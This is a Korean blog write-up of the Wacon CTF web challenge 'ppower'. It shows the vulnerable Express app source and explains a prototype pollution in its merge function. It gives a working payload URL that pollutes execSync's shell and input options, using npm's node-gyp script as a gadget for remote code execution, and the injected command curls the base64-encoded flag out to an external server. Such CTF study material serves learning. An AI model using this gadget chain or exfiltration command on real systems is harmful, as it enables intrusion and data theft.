ash3r & dmawhwhd
Wacon - ppower 본문
Wacon 예선에서는 풀지 못 했지만 문제 퀄리티가 모두 좋아서 못 푼 것이 아쉬워 풀어봤습니다. 분석했을 때 attack gadget을 찾지 못해서 풀지 못 했는데 끝나고 여쭤봤고 그 방법으로 공부하여 풀어보았습니다.
#!/usr/bin/env node
const express = require('express')
const childProcess = require('child_process')
const app = express()
const saved = Object.create(null)
const config = {}
const merge = function(t, src) {
for(var v of Object.getOwnPropertyNames(src)) {
if(typeof(src[v]) === 'object') {
if(!t[v]) t[v] = {}
merge(t[v], src[v]);
} else {
t[v] = src[v];
}
}
return t;
};
const sendFlag = (res)=>{
try{
// TODO: Fix the typo
let flagggggggggggg = childProcess.execSync('/readflag',{
env:Object.create(null),
cwd:'/',
timeout:1000
});
return res.send(flaggggggggggg)
} catch(e){console.log(e)}
res.send("lol")
}
const recover = _=>{
for(let v of Object.getOwnPropertyNames(Object.prototype)){
if(v in saved){
Object.prototype[v] = saved[v]
} else {
delete Object.prototype[v]
}
}
}
app.get('/',(req,res)=>res.sendFile(`${process.cwd()}/index.html`))
app.get('/answer',(req,res)=>{
let r = merge({},req.query)
res.type('text/plain')
console.log(req.query)
if(r.answer == "It's-none-of-your-business"){
console.log(config.constructor.prototype)
if(!config.flagForEveryone){
res.send(':(').end()
} else {
sendFlag(res)
}
} else {
res.send('oh ok').end()
}
recover()
})
;(function(){
for(let v of Object.getOwnPropertyNames(Object.prototype)){
saved[v] = Object.prototype[v]
console.log(Object.prototype[v]);
}
Object.freeze(saved)
if(process.env.flagForEveryone){
config.flagForEveryone = true
}
})()
app.listen(8000)
app.js 소스 코드 입니다. 한 눈에 봤을 때 prototype pollution이 merge()에서 발생하는 것은 알 수 있습니다. 저희가 이제부터 해야할 것은 prototype pollution을 통해 process.env.flagForEveryone변수를 덮고 r.answer값을 덮어야합니다. 이는 http://127.0.0.1:8080/answer?answer=It%27s-none-of-your-business&constructor[prototype][flagForEveryone]=1
와 같은 payload로 덮을 수 있습니다. 가능한 이유는 object의 prototype을 건들 수 있기에 가능합니다. env는 object이고 object.constructor.prototype을 통해 값을 덮을 수 있기에 flagForEveryone도 덮을 수 있게 되는 것입니다.
도커 파일을 보면 redflag 파일을 /realreadflag로 넣어줍니다. 하지만 /readflag를 실행시키기에 sendFlag()를 통해 flag를 얻을 수 없습니다.
게다가 argument에 flagflagflag를 넣어줘야 하기에 sendFlag()로는 어림도 없습니다. 그렇기에 저희는 prototype을 통해 rce를 얻어야 합니다.
prototype pollution로 rce를 얻기 위해서는 attack gadget이 필요합니다. 유명한 gadget들로는 ejs, pug등 여러 module들이 있습니다. 하지만 여기서는 express와 child_process만 사용하기에 이 안에서 찾아야 했습니다. 그래서 소스에서 사용하는 함수는 child_process의 execSync()의 document를 보던 중 사용할 수 있는 option들을 찾았습니다.
바로 shell과 input option입니다. shell은 원하는 명령어를 실행시켜주는 option이고 input은 받은 data를 stdin으로 넣어주는 option입니다. 저는 이 input과 shell option을 통하여 rce를 얻었습니다.
http://127.0.0.1:8000/answer?constructor[prototype][flagForEveryone]=1&constructor[prototype][shell]=/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp&constructor[prototype][input]=require('child_process').execSync('curl 서버?a=`/realreadflag flagflagflag | base64`')&answer=It's-none-of-your-business
/usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp 파일은 env에 있는 $npm_config_node_gyp와 stdin을 받아 node를 실행시켜 줍니다. 하지만 $npm_config_node_gyp는 설정되어 있지 않기에 stdin에서만 값을 받아와 node를 실행시킵니다. 그래서 node ~~js code~~ 하면 javascript code execution이 가능하기에 위와 같은 payload를 통하여 flag를 받아왔습니다.
shell과 input option의 존재를 모르는 것도 있었지만 /usr/local/lib/node_modules/npm/node_modules/@npmcli/run-script/lib/node-gyp-bin/node-gyp 파일을 통하여 exploit하는 것은 너무나도 새로웠습니다. 아무리 생각해도 이런 attack gadget 찾는 방법을 모르겠습니다. 지금은 끝나고 조언을 통해 풀었지만 다른 gadget을 통하여 exploit하는 문제가 또 나온다면 풀기 힘들 것 같다고 생각했습니다. 이런 gadget을 찾는 방법은 따로 연구해봐야 할 것 같습니다.
'CTF > web' 카테고리의 다른 글
Wacon - yet_another_baby_web (0) | 2022.06.28 |
---|---|
Wacon - sqqqli (0) | 2022.06.28 |
Wacon - Kuncɛlan (0) | 2022.06.28 |